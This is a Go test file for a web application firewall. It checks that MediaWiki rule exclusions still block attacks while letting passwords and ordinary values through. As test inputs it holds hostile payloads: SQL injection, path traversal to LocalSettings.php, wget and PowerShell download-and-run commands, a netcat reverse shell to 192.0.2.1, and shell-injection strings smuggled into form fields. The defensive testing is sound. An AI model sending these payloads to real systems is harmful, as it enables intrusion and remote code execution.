Files
smallwebwaf/internal/coreruleset/mediawiki_test.go
T
clawbot 0b23352767
check / check (push) Waiting to run
Format Go with gofmt, then golines -m 77 (closes #215)
script/fmt now runs golines -m 77 after gofmt, repeating golines until
it changes nothing, since one pass can leave a line the next splits.
script/fmt-check fails when either would change a file.
script/bootstrap installs golines v0.13.0 with go install, pinned to
its commit, and checks the installed version with go version -m.

The tree is reformatted. The longer lines this makes are fixed by
hand: nolint directives moved onto their own line above the statement,
one string split, and 20 functions over funlen's 80 lines shortened or
split, RunWAF and limitPercentages among them.

Model: opus-5-5
2026-11-11 17:29:12 +01:00

584 lines
18 KiB
Go

package coreruleset_test
import (
"net/http"
"slices"
"strings"
"testing"
)
// mediawikiThreshold is SWW_WAF_ANOMALY_THRESHOLD's default.
const mediawikiThreshold = 5
// mediawikiEdit is the address MediaWiki's edit form posts to.
const mediawikiEdit = "/index.php?title=Example&action=submit"
// mediawikiAPI is MediaWiki's API.
const mediawikiAPI = "/api.php"
// mediawikiRESTPage is a page in MediaWiki's REST API.
const mediawikiRESTPage = "/rest.php/v1/page/Example"
// mediawikiUpload is MediaWiki's upload page.
const mediawikiUpload = "/wiki/Special:Upload"
// mediawikiSignIn is the address MediaWiki's sign-in form posts to.
const mediawikiSignIn = "/index.php?title=Special:UserLogin"
// mediawikiAccountChange is the page that changes a password.
const mediawikiAccountChange = "/wiki/Special:ChangeCredentials"
// mediawikiSignUp is the page that creates an account.
const mediawikiSignUp = "/wiki/Special:CreateAccount"
// mediawikiMove is the address MediaWiki's form for moving a page posts to.
const mediawikiMove = "/index.php?title=Special:MovePage&action=submit"
// mediawikiBlock is the address MediaWiki's form for blocking a user posts
// to.
const mediawikiBlock = "/wiki/Special:Block"
// mediawikiProtect is the address MediaWiki's form for protecting a page
// posts to.
const mediawikiProtect = "/index.php?title=Example&action=protect"
// mediawikiSignInPage and mediawikiUploadPage are where a wiki without short
// URLs posts its sign-in and upload forms.
const (
mediawikiSignInPage = "/index.php/Special:UserLogin"
mediawikiUploadPage = "/index.php/Special:Upload"
)
// mediawikiQueryFields and mediawikiBodyFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiQueryFields sends
// each in the query, on a path where it skips them, ending in "=".
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiQueryFields = []string{
"/index.php?title=",
"/index.php?title=Special:Search&search=",
"/wiki/Special:WhatLinksHere?target=",
"/wiki/Special:Log?page=",
"/wiki/Special:Log?user=",
"/wiki/Special:ListUsers?username=",
"/wiki/Special:AllPages?from=",
"/wiki/Special:AllPages?to=",
"/wiki/Special:PrefixIndex?prefix=",
mediawikiSignIn + "&returnto=",
mediawikiSignIn + "&returntoquery=",
"/wiki/Special:ListFiles?ilsearch=",
"/wiki/Special:FileDuplicateSearch?filename=",
mediawikiUpload + "?wpDestFile=",
"/wiki/Special:BlockList?wpTarget=",
"/index.php?title=Special:BlockList&wpTarget=",
"/w/index.php?title=Special:Search&search=",
"/index.php/Special:AllPages?from=",
"/w/index.php/Special:Search?search=",
"/api.php?action=opensearch&search=",
"/api.php?action=query&list=search&srsearch=",
"/api.php?action=query&list=prefixsearch&pssearch=",
"/api.php?action=query&generator=prefixsearch&gpssearch=",
"/api.php?action=query&generator=search&gsrsearch=",
"/api.php?action=query&titles=",
"/api.php?action=parse&page=",
"/api.php?action=query&list=allpages&apfrom=",
"/api.php?action=query&list=allpages&apto=",
"/api.php?action=query&list=allpages&apprefix=",
"/api.php?action=query&generator=allpages&gapfrom=",
"/api.php?action=query&generator=allpages&gapto=",
"/api.php?action=query&generator=allpages&gapprefix=",
"/api.php?action=query&generator=allimages&gaifrom=",
"/api.php?action=query&generator=allimages&gaiprefix=",
"/api.php?action=query&list=allimages&aifrom=",
"/api.php?action=query&list=allimages&aiprefix=",
"/api.php?action=query&list=allusers&aufrom=",
"/api.php?action=query&list=allusers&auprefix=",
"/api.php?action=query&list=backlinks&bltitle=",
"/api.php?action=query&generator=backlinks&gbltitle=",
"/api.php?action=query&list=exturlusage&euquery=",
"/api.php?action=query&generator=exturlusage&geuquery=",
"/api.php?action=query&list=logevents&letitle=",
"/api.php?action=query&list=usercontribs&ucuser=",
"/api.php?action=query&list=blocks&bkusers=",
"/w/api.php?action=opensearch&search=",
"/rest.php/v1/search/title?q=",
"/rest.php/v1/search/page?q=",
}
// mediawikiAttacks are an SQL injection, a path traversal and a script
// injection, as a query value.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiAttacks = []string{
sqlInjection,
"..%2F..%2FLocalSettings.php",
scriptInjection,
}
func TestMediaWikiAttacksAreRefusedInTheExcludedQueryFields(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append([]string{"/index.php?id=", "/load.php?modules="},
mediawikiQueryFields...)
for _, attack := range mediawikiAttacks {
for _, target := range targets {
if got := inspect(t, crs, get(target+attack)); got.Score < mediawikiThreshold {
t.Errorf("%s%s let through: %+v", target, attack, got)
}
}
}
}
// mediawikiBodyField is a field of a form data body, sent to a path.
type mediawikiBodyField struct{ target, field string }
// mediawikiBodyFields and mediawikiQueryFields together hold every field that
// skips 930120, 932120, 932250 and 932260, other than wikitext, wpTitles,
// the passwords and the JSON fields of /rest.php/. mediawikiBodyFields sends
// each in a form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiBodyFields = []mediawikiBodyField{
{mediawikiEdit, "wpSummary="},
{mediawikiUpload, "wpUploadDescription="},
{mediawikiUpload, "wpDestFile="},
{mediawikiSignIn, "wpName="},
{mediawikiMove, "wpOldTitle="},
{mediawikiMove, "wpNewTitleMain="},
{mediawikiMove, "wpReason="},
{mediawikiBlock, "wpTarget="},
{mediawikiSignInPage, "wpName="},
{mediawikiUploadPage, "wpDestFile="},
{"/w" + mediawikiUploadPage, "wpUploadDescription="},
{mediawikiAPI, "title="},
{mediawikiAPI, "from="},
{mediawikiAPI, "to="},
{mediawikiAPI, "summary="},
{mediawikiAPI, "sectiontitle="},
{mediawikiAPI, "filename="},
{mediawikiAPI, "comment="},
{mediawikiAPI, "reason="},
{mediawikiAPI, "user="},
{mediawikiAPI, "lgname="},
{mediawikiAPI, "username="},
}
// mediawikiPasswordFields are the passwords, which skip the four rules and the
// rules that random passwords set off. mediawikiPasswordFields sends each in a
// form data body, on a path where it skips them.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiPasswordFields = []mediawikiBodyField{
{mediawikiSignIn, "wpPassword="},
{"/w" + mediawikiSignInPage, "wpPassword="},
{mediawikiAPI, "lgpassword="},
{mediawikiAPI, passwordField},
}
// mediawikiReasonFields are the reasons on the admin pages, which skip only
// 930120 and 932120.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiReasonFields = []mediawikiBodyField{
{mediawikiBlock, "wpReason-other="},
{"/index.php/Special:UserRights", "user-reason="},
{mediawikiProtect, "mwProtect-reason="},
}
// mediawikiWatchlist is the field that Special:EditWatchlist/raw posts its
// list of titles in, one per line.
//
//nolint:gochecknoglobals // a struct cannot be a constant
var mediawikiWatchlist = mediawikiBodyField{
"/index.php/Special:EditWatchlist/raw", "wpTitles=",
}
// mediawikiWikitextFields are the form data fields that hold wikitext.
//
//nolint:gochecknoglobals // a constant cannot be a list
var mediawikiWikitextFields = []mediawikiBodyField{
{mediawikiEdit, "wpTextbox1="},
{mediawikiAPI, "text="},
{mediawikiAPI, "appendtext="},
{mediawikiAPI, "prependtext="},
}
func TestMediaWikiAttacksAreRefusedInTheExcludedBodyFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiReasonFields, []mediawikiBodyField{mediawikiWatchlist})
for _, attack := range mediawikiAttacks {
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+attack)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s%s let through: %+v",
sent.target,
sent.field,
attack,
got,
)
}
}
}
for _, attack := range []string{
injection,
scriptTag,
} {
for _, field := range []string{"source", "comment"} {
r := request{
http.MethodPut,
mediawikiRESTPage,
[]string{jsonBody},
}
body := `{"` + field + `":"` + attack + `"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
}
}
}
func TestMediaWikiSignUpAndPasswordChangeFieldsPass(t *testing.T) {
t.Parallel()
// The form that changes a password posts to this subpage.
const subpage = "/MediaWiki%5CAuth%5CPasswordAuthenticationRequest"
// The forms send authAction in the body, and MediaWiki reads it from the
// query too. These requests send it in the query, so that the body holds
// only the passwords. The recorded requests send it in the body.
const (
create = "authAction=create"
loginContinue = "authAction=login-continue"
changeAction = "authAction=change"
)
change := []string{passwordKey, retypeKey}
retype := []string{retypeKey}
wantPasswordFieldsPass(t, []passwordFields{
{mediawikiSignUp + "?" + create, formData, retype},
{"/index.php/Special:CreateAccount?" + create, formData, retype},
{
"/index.php?title=Special:CreateAccount&returnto=Main_Page&" + create,
formData, retype,
},
{"/wiki/Special:UserLogin?" + loginContinue, formData, retype},
{mediawikiSignIn + "&" + loginContinue, formData, retype},
{mediawikiAccountChange + "?" + changeAction, formData, change},
{
mediawikiAccountChange + subpage + "?" + changeAction,
formData,
change,
},
{
"/index.php/Special:ChangeCredentials?" + changeAction,
formData,
change,
},
{
"/index.php?title=Special:ChangeCredentials" + subpage + "&" + changeAction,
formData, change,
},
{
"/w/index.php?title=Special:ChangeCredentials&" + changeAction,
formData,
change,
},
// A German wiki's names for the same pages.
{
"/index.php/Spezial:Benutzerkonto_anlegen?" + create,
formData,
retype,
},
{
"/index.php?title=Spezial:Anmelden&returnto=Hauptseite&" + loginContinue,
formData, retype,
},
{
"/wiki/Spezial:Anmeldeinformationen_%C3%A4ndern" + subpage + "?" + changeAction,
formData, change,
},
{mediawikiAPI, formData, retype},
})
}
// Other apps use the names password and retype too. So these fields keep every
// rule unless the page is MediaWiki's, its title has a namespace, and
// authAction names a form that sends the field.
func TestMediaWikiPasswordFieldsStayCheckedOffTheirPages(t *testing.T) {
t.Parallel()
const appPath = "/index.php/apps/mail/api/accounts"
crs := readingBodies(t)
for _, sent := range []struct{ target, name string }{
{appPath, passwordKey},
{appPath + "?authAction=create", retypeKey},
{appPath + "?title=Special:ChangeCredentials&authAction=change", passwordKey},
{appPath + "?title=Special:CreateAccount&authAction=create", retypeKey},
{"/index.php?title=Main_Page&authAction=change", passwordKey},
{"/index.php/Main_Page?authAction=create", retypeKey},
{"/wiki/Main_Page?authAction=change", passwordKey},
{mediawikiAccountChange, passwordKey},
{mediawikiAccountChange + "?authAction=login", passwordKey},
{mediawikiSignUp + "?authAction=create", passwordKey},
{"/index.php?title=Special:CreateAccount&authAction=create", passwordKey},
{"/index.php/Spezial:Anmelden?authAction=login", retypeKey},
} {
r := request{http.MethodPost, sent.target, []string{formData}}
body := formBody(sent.name, "' OR '1'='1")
if got, _ := inspectBody(t, crs, r, body); got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s let through: %+v",
sent.target,
sent.name,
got,
)
}
}
}
func TestMediaWikiPasswordsPass(t *testing.T) {
t.Parallel()
for _, sent := range mediawikiPasswordFields {
t.Run(sent.target+" "+sent.field, func(t *testing.T) {
t.Parallel()
r := request{http.MethodPost, sent.target, []string{formData}}
name := strings.TrimSuffix(sent.field, "=")
wantRandomPasswordsPass(t, r, name)
wantPasswordAttacksPass(t, r, name)
wantPasswordAttacksRefused(t, r, name)
})
}
}
// mediawikiCommandAttack is a shell command that only 932235 refuses on the
// fields that skip the other command rules, as a query value.
const mediawikiCommandAttack = "%3B%20wget%20http%3A%2F%2Fexample.com%2Fx.sh"
func TestMediaWikiCommandAttackIsRefusedOutsideWikitext(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
targets := append(
[]string{"/load.php?modules="},
mediawikiQueryFields...)
for _, target := range targets {
got := inspect(t, crs, get(target+mediawikiCommandAttack))
if got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", target, got)
}
}
crs = readingBodies(t)
for _, sent := range slices.Concat(mediawikiBodyFields, mediawikiReasonFields,
mediawikiPasswordFields) {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+mediawikiCommandAttack)
if got.Score < mediawikiThreshold {
t.Errorf(
"POST %s %s let through: %+v",
sent.target,
sent.field,
got,
)
}
}
r := request{http.MethodPut, mediawikiRESTPage, []string{jsonBody}}
body := `{"comment":"; wget http://example.com/x.sh"}`
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("PUT %s %s let through: %+v", r.target, body, got)
}
// wpTitles skips 932125, 932230, 932235, 932260 and 932380 only when it
// holds no ";", "|", "&", backtick or "{", and only when the body sends
// it once.
r = request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
for _, attack := range []string{
mediawikiCommandAttack,
"Example%0D%0A" + mediawikiCommandAttack,
"Example&" + mediawikiWatchlist.field + mediawikiCommandAttack,
"Example%0D%0A%24%28id%29",
"Example%0D%0A%7Cnc%20-e%20%2Fbin%2Fsh%20192.0.2.1%204444",
"%3B%20sh%20-i",
"%26%26%20sh%20-i",
"%7C%7C%20sh%20-i",
"%60sh%20-i%60",
"%3B%20ls%20-la%20%2F",
"%3B%20iwr%20http%3A%2F%2Fexample.com%2Fx.ps1",
"%26%20iex%20%28iwr%20http%3A%2F%2Fexample.com%2Fx.ps1%29",
"%7Bwget%2Chttp%3A%2F%2Fexample.com%2Fx.sh%7D",
} {
body := mediawikiWatchlist.field + attack
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %s let through: %+v", r.target, body, got)
}
}
}
func TestMediaWikiHardValuesPassInTheExcludedFields(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
for _, value := range hardValues {
for _, target := range mediawikiQueryFields {
if got := inspect(t, crs, get(target+value)); got.Score >= mediawikiThreshold {
t.Errorf("%s%s refused: %+v", target, value, got)
}
}
fields := slices.Concat(mediawikiBodyFields, mediawikiWikitextFields,
mediawikiPasswordFields)
for _, sent := range fields {
r := request{http.MethodPost, sent.target, []string{formData}}
got, _ := inspectBody(t, crs, r, sent.field+value)
if got.Score >= mediawikiThreshold {
t.Errorf(
"POST %s %s%s refused: %+v",
sent.target,
sent.field,
value,
got,
)
}
}
// A reason names the command or file in a sentence, as recorded.
for _, sent := range mediawikiReasonFields {
r := request{http.MethodPost, sent.target, []string{formData}}
body := sent.field + "Spamming%20links%20to%20" + value + "%20guides"
got, _ := inspectBody(t, crs, r, body)
if got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", sent.target, body, got)
}
}
// A watchlist holds the title on its second line, as recorded.
r := request{
http.MethodPost,
mediawikiWatchlist.target,
[]string{formData},
}
body := mediawikiWatchlist.field + "Lighthouse%20notes%0D%0A" + value + "%20notes"
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %s refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiExclusionsAreNarrow(t *testing.T) {
t.Parallel()
crs := atDefaults(t)
for _, refused := range []string{
"/?search=python3",
"/index.php?search=python3",
"/index.php?title=Example&other=python3",
"/other.php?title=python3",
"/api.php?other=python3",
"/rest.php/v1/search/title?other=python3",
"/?q=python3",
"/load.php?other=.htaccess",
"/x/api.php?search=python3",
"/x/index.php/Example?search=python3",
} {
if got := inspect(t, crs, get(refused)); got.Score < mediawikiThreshold {
t.Errorf("%s let through: %+v", refused, got)
}
}
crs = readingBodies(t)
// An uploaded file named .htaccess is still refused off MediaWiki's
// paths.
r := request{
http.MethodPost, "/upload.php",
[]string{"Content-Type: multipart/form-data; boundary=b"},
}
body := "--b\r\nContent-Disposition: form-data; name=\"file\"; " +
"filename=\"Example .htaccess.png\"\r\n\r\nx\r\n--b--\r\n"
got, _ := inspectBody(t, crs, r, body)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s %q let through: %+v", r.target, body, got)
}
for _, target := range []string{
mediawikiAPI, mediawikiUpload,
mediawikiUploadPage, "/w" + mediawikiUploadPage,
} {
r.target = target
if got, _ := inspectBody(t, crs, r, body); got.Score >= mediawikiThreshold {
t.Errorf("POST %s %q refused: %+v", r.target, body, got)
}
}
}
func TestMediaWikiBodyFieldsStayCheckedInTheQuery(t *testing.T) {
t.Parallel()
crs := readingBodies(t)
// The same field name in the query keeps the rules, in the query and
// in the body.
for _, sent := range []struct{ target, field string }{
{mediawikiEdit, "wpTextbox1=python3"},
{mediawikiEdit, "wpSummary=python3"},
{mediawikiSignIn, "wpPassword=python3"},
{mediawikiProtect, "mwProtect-reason=.htaccess"},
{"/index.php?title=Special:EditWatchlist/raw", "wpTitles=python3"},
{mediawikiAPI + "?action=edit", "text=python3"},
} {
r := request{
http.MethodPost,
sent.target + "&" + sent.field,
[]string{formData},
}
got, _ := inspectBody(t, crs, r, sent.field)
if got.Score < mediawikiThreshold {
t.Errorf("POST %s let through: %+v", r.target, got)
}
}
}